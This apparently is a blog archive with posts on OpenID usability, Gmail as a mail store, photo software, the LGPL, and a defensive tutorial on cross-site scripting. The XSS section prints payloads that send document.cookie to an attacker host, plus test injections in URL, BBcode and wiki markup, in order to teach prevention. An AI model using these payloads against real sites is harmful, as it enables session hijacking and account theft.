My problems with OpenID
I’ve been tempted to write why OpenID has been driving me up the wall.
I have not implemented OpenID in any application, so I come at it not as an implementor or programmer but as an end user: a number of sites I’ve used, including Stack Overflow and Sourceforge, have either allowed or insisted upon OpenID authentication.
My first OpenID account was at Verisign Labs (PIP). They’re well established in web security, so I figured it would be a reliable service, and a company that wasn’t likely to disappear on me. Their service, however, left me frustrated for a few reasons.
- For some reason (early onset dementia?), I could never remember my OpenID URL and found myself needing to look it up all the time, which meant starting up my email client. Because it’s not only a username I chose, but also includes the web address of the OpenID provider, I found it easier to forget. I can’t really see ordinary web users finding the URL thing intuitive; for some time now, favourites/bookmarks and search engines have been teaching us that remembering URLs shouldn’t be necessary.
- The Versign Labs PIP has one of the most user-unfriendly features I have ever experienced. With the aim of preventing phishing attacks, a well-meaning goal, it does not allow you to authenticate yourself at any OpenID supported site at all unless you have already logged in directly at Verisign’s website during the same browser session. Try typing in your OpenID to your favourite site, and you get a message from Verisign telling you that no, you haven’t logged in to Verisign this session, so you can’t proceed. When I encouter this, I have no choice but to open up a second tab and head over to their site to log in, except that much of the time I can’t, because I don’t have a browser certificate installed on the computer I’m using at the time (I don’t think it’s abnormal to use more than one computer regularly). So in order to authenticate me, it has to send me an email containing a single-use PIN. Thank goodness my email account doesn’t use OpenID authentication and I can get to that fairly easily. I’ve never had to jump through so many hoops, just to log in to an application I already have an account at.
- Once I’ve started using an OpenID identity from a certain provider on a site or two, it would appear that I am tied to that OpenID provider for life. It makes it very hard to evaluate OpenID providers when your choice is a permanent one. Yes, I realise that it is possible to use delegation, or even to install your own OpenID server, but if we’re going to be talking about end users, neither of these two are really practical, and both of them are likely to result in decreased security.
My second OpenID provider, MyOpenID, appears to be a fair bit easier to get along with, and doesn’t suffer from many of the problems I’d previously encountered.
Simply by opening another OpenID account, however, everything has become exponentially more complicated: if you switch providers, there’s no easy way that I can see to merge all site accounts based on an identity at my previous provider across to the new one. It seems like changing providers may mean ditching a bunch of old accounts and signing up for all new ones. I was impressed at the way Stack Overflow’s implementation allowed switching the OpenID identity associated with my account there. Unfortunately, this flexibility is a result only of Stack Overflow’s thoughtful design, and such a feature is not part of a typical OpenID implementation.
MyOpenID, thankfully, allows me to authenticate myself without having to twiddle around with going to the OpenID provider’s site in a separate browser window or getting a single-use PIN. I suppose it is similar to what the OpenID experience should have been like from the start. Maybe my Verisign Labs PIP account just had too many optional features turned on.
I still find, however, that some things about OpenID underwhelm me:
- Signing up for a new account at an OpenID-enabled site appears no easier when using OpenID. After authenticating with my OpenID URL and whatever authentication I need to do at the OpenID provider’s end, when I return to the client site I still have to fill out a form, and most of the time I still have to confirm my email address. Some fields have been pre-filled by my OpenID account, but I still need to choose a username that is unique to that application, and likely even fill in a Captcha.
- Users are well experienced already with simple username/password combinations. They know, for example, that the password should be kept secret, and it’s that secret that provides their security. Even though they might have several username/password combinations at different sites, this doesn’t make things any more complicated, because the same concept is just repeated. With an OpenID account, however, not only do they now have a username and password at their OpenID provider, but they also have this OpenID URL, and maybe even a browser certificate. That is three or four pieces of information. Furthermore, how will they understand that authenticating with an OpenID URL alone can provide any security, when the OpenID URL is not a secret, and there is no password? I wouldn’t be surprised if users thought that OpenID was grossly insecure, because they don’t understand that all the real security is hidden from them.
- I also wouldn’t be surprised if the idea that their identity is passed between sites made users a bit worried. For instance, how can an OpenID implementor reassure the user that even if they use their OpenID URL to log in and register, that doesn’t mean the implementor now has the password to the user’s OpenID account? All the beneficial security concepts are a black box to the users, who may just assume that the OpenID account is a way for their password and identity to be freely passed around between sites. Far from using it only when high security is needed, we may find that users, unaware of the security benefits to OpenID, only trust OpenID with information they don’t mind losing.
So far I haven’t been convinced that using OpenID is significantly safer – even when comparing it to re-using the same username and password at a whole bunch of different sites, which is itself a dubious security practice. With OpenID, I still have all my eggs in one basket. If an attacker gains access to my OpenID account, he can still impersonate me at all sites where I rely on that identity.
OpenID is a well-meaning idea, and with more experience I am sure that I will master it more, but being this confusing and headache-inducing even to a web developer is a clear indication that it has some way to go before it can be considered fit for general use. Get this: the Wikipedia page for OpenID displays a prominent warning which reads “This page may be too technical for a general audience” applying to various sections, including the section titled “Logging in”. If it is too hard to describe how to “log in” without alienating a non-technical audience, it is a sign that the process is not too usable, and anyone thinking that they are implementing OpenID in order to “simplify” things for end-users may need to think twice.
While some boast about big companies like Google adopting OpenID, it’s not really all that much to crow about – their support is only as a provider, not as an implementor. I cannot, for example, use an existing OpenID to authenticate myself at Google, I can only use a Google ID to authenticate myself elsewhere. Not allowing OpenID authentication themselves doesn’t contibute to the widespread use of OpenID but further segregates it, which is probably just as much of an injustice to OpenID as its indecipherable Wikipedia page.
Is Gmail suitable for use as your main email box?
Now that Gmail offers proper IMAP access for free, I think that there are few reasons not to use Gmail for all my non-work email now.
Gmail’s 7GB (and growing) amount of space allows it to be a ‘store everything’ type of mail box, as opposed to a ‘store what I haven’t downloaded yet’ (as in POP) or ‘store the last x days’ worth’ (as in an IMAP box that’s only small).
My web hosting provider allows POP or IMAP access, but it’s restricted to only 100MB, so it’s not really usable as a ‘store everything’ box, not to mention that I might change hosting providers some day. I really love my host, but the possibility exists that I’ll outgrow them or need some new whiz-bang feature one day.
My current email strategy is:
- Download all mail to my home computer, but have it left on the server for 7 days.
- I can still access at least the last 7 days’ worth of mail when I’m away from home.
- My Gmail account fetches mail from my mailbox via POP every x minutes, so I have another copy of everything on Gmail.
That third point was to be a temporary measure, but I find it just too convenient to be able to search all my mail on Gmail while I am away from home. I might as well forward everything to Gmail.
More points about Gmail:
- Gmail doesn’t force you to use your ‘@gmail.com’ address as your ‘from’ address. You can use an address with your domain name in it as a default. Therefore Gmail does not suffer from the type of ‘lock-in’ – if you move to a new provider, you can keep your email address.
- Gmail’s web interface is better than any web interface I have seen an ISP or a web hosting provider provide. It even rivals desktop based email clients.
- Keeping a copy of everything on Google’s server acts as a really easy, free, form of off-site backup. My current off-site backup strategy consists of burning a DVD of my Thunderbird mail box folder every other month if I remember it, and tucking the DVD into a drawer at work.
The only hesitation I have, but one which I feel is pretty important, is that entrusting all of my email to Google would vastly increase the amount of damage done should an attacker – or a Google employee (unlikely) – gain access to my account. Rather than just 7 days’ worth of emails being available, as with another provider, Google would store an entire history of possibly personal and confidential mail. This includes such secrets as password reminder emails for online services. I’d feel better about it if I could encrypt Gmail’s entire contents with my own key, that Google themselves didn’t have access to, and nor did anyone who had gained access to the account. Of course, it’s not really possible with the way Gmail works.
So, is using Gmail worth it as a ‘store everything’ mail box for personal email?
Cross-site scripting could make you lose your cookies
The following article was originally written in July 2005 and published on SitePoint.com, and is republished with permission. For securing your web application you should probably also read about CSRF and clickjacking.
Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by script kiddies. By stealing your cookies, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.
How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <, &, or “ which have a different, and special, meaning when they appear as part of HTML. If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental < characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags. Any user who happened to slip the character sequence <script into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.
This code may either be relatively harmless – for example, creating unwanted popups or spam – or malicious – code that is intended to gain private information in order to break into each user’s account on the system.
Although cross-site scripting often involves the insertion of a <script> tag into a web page, it is possible to do some damage with other code. There are many ways to run Javascript in a browser other than through the use of a <script> tag, as well as many other forms of active content besides Javascript. The XSS cheat sheet is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <script> tags.
Relatively harmless uses of Cross Site Scripting:
- Code intended to disrupt the layout or appearance of a web page.
- Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.
- Code intended to launch unwanted popup windows for advertising or shock value.
Some more harmful uses of Cross Site Scripting:
- Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
- Objects or applets intended to exploit a known security vulnerability in a particular browser.
Life cycle of a cross-site scripting exploit
I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.
Joe has built himself a custom CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.
Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.
A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:
<script>alert('Hello World');</script>
Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.
Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:
<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>
Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.
Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.
Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is session hijacking – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system. XSS is a way for an attacker to obtain access to sessions on another server.
Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:
<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A web page about dogs</a>
If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.
Furthermore, Rick could have embedded his JavaScript into event handler attributes such as onclick, onmousemove and onsubmit - the latter which could be used to modify the behaviour of a form on the site.
Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.
Patch those holes
Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.
Whenever displaying plain text content on your web site, escape the plain text string before doing so. In PHP, a simple way to do this is to use the htmlspecialchars function on the data right before. This includes all plain text data, whether it be user-submitted or not. The idea is that < and & characters need to be escaped whether their use is malicious or not.
You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.
if (strlen($_GET['username']) > 12)
exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");
In this case, the user variable “username” is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:
http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E
The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party. Notice that here, the <script> tag is URL encoded. This will automatically be decoded by the server.
You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication. Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection. In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else’s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.
What if you want your users to be allowed to submit HTML?
Escaping plain text for output is easy. All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.
However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder. Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex regular expression. Any filter would need to be able to interpret the HTML in the same way that a browser – any browser – might, and browsers do some strange things.
A common compromise, as seen on many blogs, is to allow only a small subset of HTML. This makes filtering considerably more attainable than otherwise, but by no means simple. A read through of the XSS cheat sheet will reveal the necessary complexity of any required filtering mechanism. What’s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).
I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs. It is capable of understanding the entire HTML language in terms of its DTD. To say it is complicated is an understatement, and it still has its limitations. If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.
Testing for cross-site scripting vulnerabilities in your application
A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.
The XSS cheat sheet that I mentioned above is the best source of XSS testing code that I know of.
Try, for example, inserting the following code where you would like to test.
<script>alert('Hello World!');</script>
Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.
It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?
Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.
Forum code or “BBcode”:
[url=javascript:alert('Yes');]Are you vulnerable?[/url]
Wiki markup:
[javascript:alert("Yes");|Are you vulnerable?]
Is your forum or wiki vulnerable?
The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.
More information about cross-site scripting is available in this CERT Advisory and this document from Apache. The Apache document points out, rightly, that the name “Cross-site scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.
Have a look at this very thorough article by Chris Shiflett on preventing cross-site scripting attacks.
Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications. However, other common vulnerabilities such as CSRF, including Login CSRF (PDF), and clickjacking, are just as serious.
Evaluating Photoshop Lightroom and ACDSee Pro Photo Manager
I tried out the trial versions of Adobe Photoshop Lightroom and ACDSee Pro Photo Manager recently. I was particularly interested in seeing how they would work for a photography workflow, such as basic image adjustments to curves, sharpening, dodging and burning, fixing minor problems and cropping. For more serious manipulation I can always use Photoshop or the GIMP, but I kind of like the non-destructive process on these two new products I’m trying out below.
Last time I used ACDSee there was no such thing as ACDSee Pro Photo Manager. Of course, there was also no such thing as Photoshop Lightroom.
Problems with Photoshop Lightroom:
- The user interface is annoying slow and unresponsive. It’s not ridiculously bad, but it is jerky enought to annoy. I can tolerate that all the calculations required to apply filters to an image take time and processing power, but any significant delay or slowness in simply expanding, collapsing, or resizing panes or windows is quite unnecessary. Is it due to their use of non-native widgets (ie, skinning)? Probably, though that doesn’t mean an interface needs to be slow – take recent versions of Firefox on Windows for example.
- It lacks the ability to correct for barrel/pincushion distortion, and to do perspective correction. I need to do barrel/pincushion distortion correction fairly often – for example on any photos containing buildings or straight lines. This means it would be necessary to bring images into Photoshop a lot of the time for what should be a basic correction, even though more advanced corrections like primary colour adjustments and chromatic aberration correction, which I would probably need less often, are included. Note that I couldn’t find this feature in ACDSee either, but based on price I had higher expectations of the Adobe product.
- The noise removal was not too useful to me. On a scale of 0 to 100, where 0 is no noise removal and 100 is maximum, 0 is not enough and even 1 is too much – especially for chroma. There is no setting in between 0 and 1. Then again, noise removal was not too good on ACDSee either, but in a different way.
- Using Lightroom to simply browse photos on the hard drive was not very intuitive to me. I usually prefer browsing my existing file heirarchy, and there seemed to be no way to do that – I had to ‘import’ images into ‘albums’ or similar, where albums didn’t necessarily correspond to their locations on their hard drive. It’s an extra layer of confusion and it means I can’t be sure that I’m grabbing the right images if I go back into an Explorer window and just drag and drop.
Problems with ACDSee:
- In any other colour mode than sRGB, everything seems about ten times as slow. Instead of dragging a slider and seeing the colour on the image change as the slider is dragged, now you start dragging the slider and wonder why the program seems to have stopped responding for ages. Then a few seconds after you’ve let go of the slider and are starting to click randomly on the screen to see if anything you are doing is having any effect, the colour finally changes in the preview. This means that practically, it’s not possible to do any adjustments with a colour space other than sRGB loaded. No problem, that’s fine – except that it’s a bit of a hassle. If you forget and leave it loaded, and make further adjustments, it goes all slow again. It’s also slightly disappointing that a piece of software for professionals would assume its users will all be using sRGB. Notwithstanding the whole sRGB vs colour management debate, there are a lot of photographers that do value wider gamut colour spaces.
- The sharpening feature is decent, but not as good as in Lightroom. The sharpening radius is only selectable as a whole number of pixels, so sharpening using a radius of 0.6 is not possible. Furthermore, there is a ‘threshold’ for sharpening detail, but it represents a sudden cutoff – unlike Lightroom’s ‘detail’ slider which allows a smooth transition between the sharpening applied to high contrast edges vs smoother surfaces. As a result, sharpening an image with lots of grain cannot look nearly as good.
Of the two, it is still hard to choose. Lightroom has better sharpening and smoothing so for quality it would win for me, but I prefer the file selection approach of ACDSee. Then again, the ACDSee product is not really usable when doing adjustments using colour spaces other than sRGB; while I don’t expect to be doing this often, I might want to eventually. And yet, the ACDSee product is still cheaper.
Looking at the LGPL license
The Lesser General Public License (LGPL) is a software license that is based on the GPL, but is more permissive.
I have seen the GPL software license described as a cancer before, and this analogy does indeed hold, even though it misses the point. If you want to borrow any code released as “GPL” for use in your own source code, any of your own code that the GPL is mixed with will also need to become GPL if ever you plan on distributing software. However, this rule of the GPL is actually a very good thing, especially for hard working open source developers, because it ensures that their work can never be exploited by companies wishing to make a buck, unless those companies give their contributions to the code back under the same license, effectively becoming part of the same open source development effort.
The LGPL is mostly the same as the GPL except that it releases some of these restrictions. I am not a law expert, but I have come to the following understanding. In particular, it allows for code to be combined in the same project with code from any other license including proprietary licenses, under certain conditions. If the whole thing, including the LGPL code as well as the other code, is distributed together, then it becomes known as a ‘combined work’ under the terminology of the LGPL. The distribution must abide by the following (a complete list exists in the text of the license under ‘Combined Works’):
- There must be some sort of clear separation between the LGPL code and the other code. In particular, it must be possible for the recipient to modify the LGPL code or even completely replace it with other code, such as a modified version or later version of the libary. Therefore, if it is a compiled program, then the LGPL code must either be dynamically linked (like, a separate DLL or shared file) such that it could easily be substituted for a similar library and still be interoperable; or, if it is statically linked, the minimum required source files and/or object files must be provided, to allow recompiling with an alternative library. The non-LGPL portion may not contain any part of the LGPL code except for very simple header files.
- It must be clearly pointed out which part of the code is LGPL covered, including its original copyright notice and the text of the LGPL (including the GPL on which it is based).
- If the combined software displays copyright notices during the course of running, then the copyright notice for the LGPL covered portion must also appear here, along with a link to the LGPL and GPL.
- In some cases, you would need to provide installation information detailing how to use a modified version of the LGPLd code in the combined application.
The above is just a list of stuff that you have to do if you are going to redistribute some LGPL code as part of your non-LGPL application. However, the text of the LGPL doesn’t really explain the benefits, or what opportunities it opens up to you. If you are distributing a combined work which consists of both someone else’s LGPL code, and other code that is under a different license, you benefit from:
- You don’t need to release source code for the rest of your application (ie, the non-LGPL part). The only exception to this being as described above – if it’s all statically linked then you’d need to provide just enough code (and/or object files) to be able re-link it with an alternative or modified version of the LGPL code. If you are linking dynamically and interacting over a normal API, you don’t need to worry about that.
- You don’t need to release the rest of your application under the GPL. You can use any license you want, including more restrictive proprietary licenses, provided that when you do distribute it you follow the rules.
- Unlike GPL version 3, which prohibits using the code if you are implementing copy protection or DRM software, you can use LGPL version 3 licensed code in an application which includes copy protection or DRM.
So, LGPL is a fairly permissive license in comparison to the GPL, which cannot be ‘combined’ with other proprietary licenses in this way. So, what can’t you do with LGPL? Well, apart from relaxed rules such as those already discussed, LGPL still contains all of the other restrictions of the GPL. I won’t go into all of the detail of the GPL here, but here are some of the restrictions that you still retain when using the LGPL, that you may not retain with an even more permissive license (such as a BSD or X11 license):
- Anybody wishing to modify and redistribute LGPL code must also make the source code of the LGPL code, including their modifications, available and licensed under the LGPL. Therefore, the open source community and the original author can still benefit if a commercial enterprise contributes improvements to the LGPL code.
- All existing copyright notices in the LGPL code, as well as the GPL and LGPL licenses themselves, must be prominently displayed in any redistribution. In addition to this, any application using the LGPL code must display such copyright notices and refer to the license whereever they display their own copyright notices.
Something else of note is that whether you are building software that relies on either GPL or LGPL code, if you distribute that software without any of the GPL or LGPL included (ie, the user needs to download and install it themselves), then it’s not considered a ‘combined work’ and you don’t need to worry about complying with any terms. However, if you include even so much as a header file from the GPL or LGPL code in your software, then you’ll be bound by the license terms of the GPL or LGPL.
